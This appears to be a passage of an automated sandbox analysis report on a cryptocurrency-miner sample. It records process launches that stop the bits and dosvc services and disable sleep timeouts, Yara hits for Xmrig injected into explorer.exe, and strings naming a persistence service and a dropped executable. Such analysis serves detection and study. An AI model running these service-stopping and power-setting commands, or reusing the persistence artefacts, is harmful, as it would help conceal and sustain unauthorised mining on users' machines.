Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	16:46:08
Start date:	06/12/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop bits
Imagebase:	0x7ff6a9f20000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	16:46:08
Start date:	06/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	16:46:08
Start date:	06/12/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop dosvc
Imagebase:	0x7ff6a9f20000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	16:46:08
Start date:	06/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	16:46:08
Start date:	06/12/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Imagebase:	0x7ff707360000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	50
Start time:	16:46:08
Start date:	06/12/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
Imagebase:	0x7ff707360000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	51
Start time:	16:46:08
Start date:	06/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	52
Start time:	16:46:08
Start date:	06/12/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Imagebase:	0x7ff707360000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	53
Start time:	16:46:08
Start date:	06/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	54
Start time:	16:46:08
Start date:	06/12/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
Imagebase:	0x7ff707360000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	55
Start time:	16:46:08
Start date:	06/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	56
Start time:	16:46:08
Start date:	06/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	57
Start time:	16:46:08
Start date:	06/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	58
Start time:	16:46:08
Start date:	06/12/2024
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	explorer.exe
Imagebase:	0x7ff72b770000
File size:	5'141'208 bytes
MD5 hash:	662F4F92FDE3557E86D110526BB578D5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000003A.00000003.1824324601.00000000005DC000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000003A.00000003.1786548179.00000000005B3000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000003A.00000003.1824408272.0000000000600000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000003A.00000003.1824354802.000000000060B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000003A.00000002.4158665690.00000000005A0000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000003A.00000003.3137522381.000000000060B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000003A.00000002.4158665690.00000000005DD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000003A.00000003.1823929141.00000000005EA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000003A.00000002.4158665690.0000000000585000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000003A.00000003.1824391843.00000000005DC000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000003A.00000003.1824376543.0000000000628000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000003A.00000002.4158665690.00000000005E4000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000003A.00000003.1823776260.0000000000632000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000003A.00000003.2965773416.000000000060B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000003A.00000003.2747475402.000000000060B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000003A.00000003.2860263171.000000000060B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000003A.00000003.1824439592.00000000005DE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000003A.00000002.4158665690.0000000000549000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000003A.00000003.1823817242.00000000005EA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Function 00007FF707F11140 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1749382292.00007FF707F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF707F10000, based on PE: true

Associated: 00000000.00000002.1749361276.00007FF707F10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749463998.00007FF707F1B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749483276.00007FF707F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749584297.00007FF707F1F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750504454.00007FF7085DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750535090.00007FF7085E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750587013.00007FF7085E3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff707f10000_nlGOh9K5X5.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 09aa500106249f898c70f176d5dd8b6a7b84f69ff7d021052aa52de95c06f874
Instruction ID: 0c4dc7e33fed2155a682171811a2f3fdf7a939539583b3ba1c5502b5327429fd
Opcode Fuzzy Hash: 09aa500106249f898c70f176d5dd8b6a7b84f69ff7d021052aa52de95c06f874
Instruction Fuzzy Hash: 4EB0926090420D84E2007B019C41268A6606F08740F810020C50C12352CBAD60438B20

Analysis Process: mfpmikspvfzi.exePID: 7108, Parent PID: 620COMMON

Executed Functions

Function 00007FF62C3E1140 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000021.00000002.1786905607.00007FF62C3E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF62C3E0000, based on PE: true

Associated: 00000021.00000002.1786872945.00007FF62C3E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000021.00000002.1786937336.00007FF62C3EB000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000021.00000002.1786966118.00007FF62C3EE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000021.00000002.1788340792.00007FF62CAB0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000021.00000002.1788388510.00007FF62CAB3000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_7ff62c3e0000_mfpmikspvfzi.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 09aa500106249f898c70f176d5dd8b6a7b84f69ff7d021052aa52de95c06f874
Instruction ID: c849138409d4646d7a9fecfd9c74388d8a1e077a4e1a024ffaa85bb1318c7b85
Opcode Fuzzy Hash: 09aa500106249f898c70f176d5dd8b6a7b84f69ff7d021052aa52de95c06f874
Instruction Fuzzy Hash: 31B0922091420E84EA052B019C816A832A06F08750F400820C40C42353CE6D68404B56

Analysis Process: conhost.exePID: 2756, Parent PID: 7108COMMON

Execution Graph

Execution Coverage:	2.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	10.7%
Total number of Nodes:	826
Total number of Limit Nodes:	2

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 0000000140001394 Relevance: 1.5, APIs: 1, Instructions: 24
filenativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtQueryAttributesFile.NTDLL(?,?,?,?,?,?,?,?,?,?,?,?,?,0000000140001156), ref: 00000001400013F7

Memory Dump Source

Source File: 00000038.00000002.4158511665.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000038.00000002.4158485355.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000038.00000002.4158540031.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000038.00000002.4158565895.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000038.00000002.4158589415.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_56_2_140000000_conhost.jbxd

Similarity

API ID: AttributesFileQuery
String ID:
API String ID: 2106648053-0
Opcode ID: d3facea2ea28090a3b8493860f07dd15fe4672f774124d3d6ce7a42bf765e071
Instruction ID: a6cb4654e9b874847d81667e3afa197bf99ff2b7c8811c1cbfaff09fb0517543
Opcode Fuzzy Hash: d3facea2ea28090a3b8493860f07dd15fe4672f774124d3d6ce7a42bf765e071
Instruction Fuzzy Hash: A2F0AFB2608B408AEA12DF52F89579A77A0F39D7C0F00991ABBC843735DB3CC190CB40

Non-executed Functions

Function 0000000140003150 Relevance: 82.6, APIs: 36, Strings: 18, Instructions: 1629COMMON

Download Yara Rule

APIs

wcslen.MSVCRT ref: 00000001400032B9
wcslen.MSVCRT ref: 000000014000344E
wcslen.MSVCRT ref: 0000000140003489
wcscpy.MSVCRT ref: 000000014000356E
wcscat.MSVCRT ref: 000000014000357D
wcscpy.MSVCRT ref: 00000001400035F1
wcscat.MSVCRT ref: 0000000140003600

Strings

\System32, xrefs: 0000000140003573
\??\, xrefs: 000000014000409A
PROGRAMDATA=, xrefs: 00000001400037D5, 0000000140003A74
, xrefs: 0000000140003E49
\??\, xrefs: 0000000140003DAE
\cmd.exe, xrefs: 00000001400035F6
Start, xrefs: 00000001400051AE
\sc.exe, xrefs: 0000000140003D2B
, xrefs: 0000000140005066
ImagePath, xrefs: 000000014000455E
SYSTEMROOT=, xrefs: 0000000140003447, 0000000140003460
\BaseNamedObjects\hbjhytnikyzzpqusaewfbxfq, xrefs: 00000001400046DE
\Registry\Machine\SYSTEM\CurrentControlSet\Services\HZIWFEGQ, xrefs: 0000000140004466
\BaseNamedObjects\kpgqtnbtsnuhiwzk, xrefs: 0000000140004270
\WindowsPowerShell\v1.0\powershell.exe, xrefs: 0000000140003744
\cjogqihmrmek\mfpmikspvfzi.exe, xrefs: 0000000140003C2C
\reg.exe, xrefs: 0000000140003CB5
\BaseNamedObjects\sovalofrro, xrefs: 00000001400032AF

Memory Dump Source

Source File: 00000038.00000002.4158511665.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000038.00000002.4158485355.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000038.00000002.4158540031.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000038.00000002.4158565895.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000038.00000002.4158589415.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_56_2_140000000_conhost.jbxd

Similarity

API ID: wcslen$wcscatwcscpy
String ID: $ $ImagePath$PROGRAMDATA=$SYSTEMROOT=$Start$\??\$\??\$\BaseNamedObjects\hbjhytnikyzzpqusaewfbxfq$\BaseNamedObjects\kpgqtnbtsnuhiwzk$\BaseNamedObjects\sovalofrro$\Registry\Machine\SYSTEM\CurrentControlSet\Services\HZIWFEGQ$\System32$\WindowsPowerShell\v1.0\powershell.exe$\cjogqihmrmek\mfpmikspvfzi.exe$\cmd.exe$\reg.exe$\sc.exe
API String ID: 295340062-3445116192
Opcode ID: 6bbbb06c539f349cf2e1114d241118a345790d8dd6a16c9c0feef2216d42c330
Instruction ID: 0ef485e3f6bd42e134a4dcdeec3c94709cd9f2879ad2367089269e8f57eb35b6
Opcode Fuzzy Hash: 6bbbb06c539f349cf2e1114d241118a345790d8dd6a16c9c0feef2216d42c330
Instruction Fuzzy Hash: 91234BF1524BC198F723CB2AF8467E56360BB9E3C8F445215FB84676B2EB798285C305

Function 00000001400026E0 Relevance: 19.6, APIs: 7, Strings: 4, Instructions: 376
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wcsncmp.MSVCRT ref: 00000001400028F4
wcscpy.MSVCRT ref: 0000000140002A25
wcscat.MSVCRT ref: 0000000140002A30
wcslen.MSVCRT ref: 0000000140002A38
wcslen.MSVCRT ref: 0000000140002A50
wcslen.MSVCRT ref: 0000000140002AB0
wcslen.MSVCRT ref: 0000000140002B02

Strings

\BaseNamedObjects\hbjhytnikyzzpqusaewfbxfq, xrefs: 00000001400026E9
X, xrefs: 0000000140002C93
`, xrefs: 0000000140002CAB
0, xrefs: 00000001400028F9

Memory Dump Source

Source File: 00000038.00000002.4158511665.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000038.00000002.4158485355.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000038.00000002.4158540031.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000038.00000002.4158565895.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000038.00000002.4158589415.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_56_2_140000000_conhost.jbxd

Similarity

API ID: wcslen$wcscatwcscpywcsncmp
String ID: 0$X$\BaseNamedObjects\hbjhytnikyzzpqusaewfbxfq$`
API String ID: 597572034-531860705
Opcode ID: 1d427ba9be7d3ba3bec6229fbdbde9a9074d45dc578b1c22d95c1aa577c94588
Instruction ID: 7126976727d2455590f161184c1ef6fd40d1aee8864898634b8a3a6296fb7041
Opcode Fuzzy Hash: 1d427ba9be7d3ba3bec6229fbdbde9a9074d45dc578b1c22d95c1aa577c94588
Instruction Fuzzy Hash: EB1248B2618BC081E762CB16F8443EAB7A4F789794F814215EBA957BF5DF78C189C700

Function 0000000140001160 Relevance: 13.6, APIs: 9, Instructions: 130
sleepstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(?,?,?,0000000140001156), ref: 00000001400011A5
_amsg_exit.MSVCRT(?,?,?,0000000140001156), ref: 00000001400011CC
_initterm.MSVCRT ref: 000000014000120F
SetUnhandledExceptionFilter.KERNEL32(?,?,?,0000000140001156), ref: 000000014000124E
malloc.MSVCRT ref: 000000014000127E
strlen.MSVCRT ref: 00000001400012A4
malloc.MSVCRT ref: 00000001400012B0
memcpy.MSVCRT ref: 00000001400012C3
_cexit.MSVCRT(?,?,?,0000000140001156), ref: 000000014000132D

Memory Dump Source

Source File: 00000038.00000002.4158511665.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000038.00000002.4158485355.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000038.00000002.4158540031.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000038.00000002.4158565895.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000038.00000002.4158589415.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_56_2_140000000_conhost.jbxd

Similarity

API ID: malloc$ExceptionFilterSleepUnhandled_amsg_exit_cexit_inittermmemcpystrlen
String ID:
API String ID: 2643109117-0
Opcode ID: 6d7ee7def3ecbc2315c845a9e895b93d75ddfd1a6bd6e3bc4d0ec8107381b6ea
Instruction ID: 8e9d9ccf9aa37448b00e8f279ba8024009d8511a4f997efa1032f1c394af1e30
Opcode Fuzzy Hash: 6d7ee7def3ecbc2315c845a9e895b93d75ddfd1a6bd6e3bc4d0ec8107381b6ea
Instruction Fuzzy Hash: E05122B1A01A4085FB16EF27F9947EA27A5BB8D7D0F849121FB4D873B6DE38C4958300

Function 0000000140001BA0 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 106
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualQuery.KERNEL32(?,?,?,?,0000000140007C14,0000000140007C14,?,?,0000000140000000,?,0000000140001991), ref: 0000000140001C63
VirtualProtect.KERNEL32(?,?,?,?,0000000140007C14,0000000140007C14,?,?,0000000140000000,?,0000000140001991), ref: 0000000140001CC7
memcpy.MSVCRT ref: 0000000140001CE0
GetLastError.KERNEL32(?,?,?,?,0000000140007C14,0000000140007C14,?,?,0000000140000000,?,0000000140001991), ref: 0000000140001D23

Strings

VirtualQuery failed for %d bytes at address %p, xrefs: 0000000140001D17
VirtualProtect failed with code 0x%x, xrefs: 0000000140001D29
Address %p has no image-section, xrefs: 0000000140001CF4

Memory Dump Source

Source File: 00000038.00000002.4158511665.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000038.00000002.4158485355.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000038.00000002.4158540031.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000038.00000002.4158565895.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000038.00000002.4158589415.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_56_2_140000000_conhost.jbxd

Similarity

API ID: Virtual$ErrorLastProtectQuerymemcpy
String ID: VirtualProtect failed with code 0x%x$ VirtualQuery failed for %d bytes at address %p$Address %p has no image-section
API String ID: 2595394609-2123141913
Opcode ID: 827a20b0d9596d77dfdeb04b276488a729f23f40387757242716cefeeae07e70
Instruction ID: cf1e0d9f2b5a633c9964e53687c552e754ef6de65532a211d00188a72de6ab42
Opcode Fuzzy Hash: 827a20b0d9596d77dfdeb04b276488a729f23f40387757242716cefeeae07e70
Instruction Fuzzy Hash: 284132B1601A4586FA26DF47F884BE927A0E78DBC4F594126EF0E877B1DA38C586C700

Function 0000000140002104 Relevance: 7.6, APIs: 5, Instructions: 51
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnterCriticalSection.KERNEL32 ref: 0000000140002118
TlsGetValue.KERNEL32 ref: 000000014000214F
GetLastError.KERNEL32 ref: 0000000140002154
LeaveCriticalSection.KERNEL32 ref: 0000000140002212
DeleteCriticalSection.KERNEL32 ref: 000000014000225D

Memory Dump Source

Source File: 00000038.00000002.4158511665.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000038.00000002.4158485355.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000038.00000002.4158540031.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000038.00000002.4158565895.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000038.00000002.4158589415.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_56_2_140000000_conhost.jbxd

Similarity

API ID: CriticalSection$DeleteEnterErrorLastLeaveValue
String ID:
API String ID: 926137887-0
Opcode ID: 8a22b28b27b7d86677f45aa2b4efe2ee5acdb41b635d3ea5425600792096a756
Instruction ID: 91c440fe7cf303bba99da658d8c250480f431e45a9ff835d8bbbfd5805bc456d
Opcode Fuzzy Hash: 8a22b28b27b7d86677f45aa2b4efe2ee5acdb41b635d3ea5425600792096a756
Instruction Fuzzy Hash: E521E0B1715A0292FA5BEB53F9483E923A0B76CBD0F444021FB1E576B4DF7A8986C300

Function 0000000140001880 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 138
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,0000000140001247), ref: 00000001400019F9

Strings

Unknown pseudo relocation protocol version %d., xrefs: 0000000140001B8B
Unknown pseudo relocation bit size %d., xrefs: 0000000140001B7B

Memory Dump Source

Source File: 00000038.00000002.4158511665.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000038.00000002.4158485355.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000038.00000002.4158540031.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000038.00000002.4158565895.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000038.00000002.4158589415.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_56_2_140000000_conhost.jbxd

Similarity

API ID: ProtectVirtual
String ID: Unknown pseudo relocation bit size %d.$ Unknown pseudo relocation protocol version %d.
API String ID: 544645111-395989641
Opcode ID: a6faf70e8b190511a78e30de1eab31b3fdd89b936d163022cdfacdbb5805c305
Instruction ID: bed1886f8e7b3562c786f91e2c2504e2a336d35a61311b426e06807153cec951
Opcode Fuzzy Hash: a6faf70e8b190511a78e30de1eab31b3fdd89b936d163022cdfacdbb5805c305
Instruction Fuzzy Hash: 415114B6B11544DAEB12CF67F840BE827A1A759BE8F548212FB1D077B4DB38C986C700

Function 0000000140001800 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 30
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

fprintf.MSVCRT ref: 000000014000185A

Strings

Unknown error, xrefs: 0000000140001824
_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 000000014000184D

Memory Dump Source

Source File: 00000038.00000002.4158511665.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000038.00000002.4158485355.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000038.00000002.4158540031.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000038.00000002.4158565895.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000038.00000002.4158589415.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_56_2_140000000_conhost.jbxd

Similarity

API ID: fprintf
String ID: Unknown error$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-3474627141
Opcode ID: 017cd526ac5081bc3907274b3a6367696541d9305a8f79609a5809f4e9dc966c
Instruction ID: 5f3fda99385e7d6d3bb1b8b50037b5b3929fa76f8f5eed77969f57ab4fd5d0ca
Opcode Fuzzy Hash: 017cd526ac5081bc3907274b3a6367696541d9305a8f79609a5809f4e9dc966c
Instruction Fuzzy Hash: 35F09671A14A4482E612EF6AB9417ED6360E75D7C1F50D221FF4D576A5DF3CD182C310

Function 000000014000219E Relevance: 5.0, APIs: 4, Instructions: 34
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnterCriticalSection.KERNEL32 ref: 00000001400021B2
TlsGetValue.KERNEL32 ref: 00000001400021EB
GetLastError.KERNEL32 ref: 00000001400021F0
LeaveCriticalSection.KERNEL32 ref: 000000014000226C

Memory Dump Source

Source File: 00000038.00000002.4158511665.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000038.00000002.4158485355.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000038.00000002.4158540031.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000038.00000002.4158565895.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000038.00000002.4158589415.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_56_2_140000000_conhost.jbxd

Similarity

API ID: CriticalSection$EnterErrorLastLeaveValue
String ID:
API String ID: 682475483-0
Opcode ID: ef714723185b3a8d2aed80037f9450dbdc245cd35eb766ee46406a0163f8cc51
Instruction ID: 8e08899b71d5d6c295770fc95a4fa8b22c720a8a39741bac27afb53efd3d8dea
Opcode Fuzzy Hash: ef714723185b3a8d2aed80037f9450dbdc245cd35eb766ee46406a0163f8cc51
Instruction Fuzzy Hash: C201B2B5705A0192FA5BDB53FE083E86360B76CBD1F454061EF0957AB4DF79C996C200

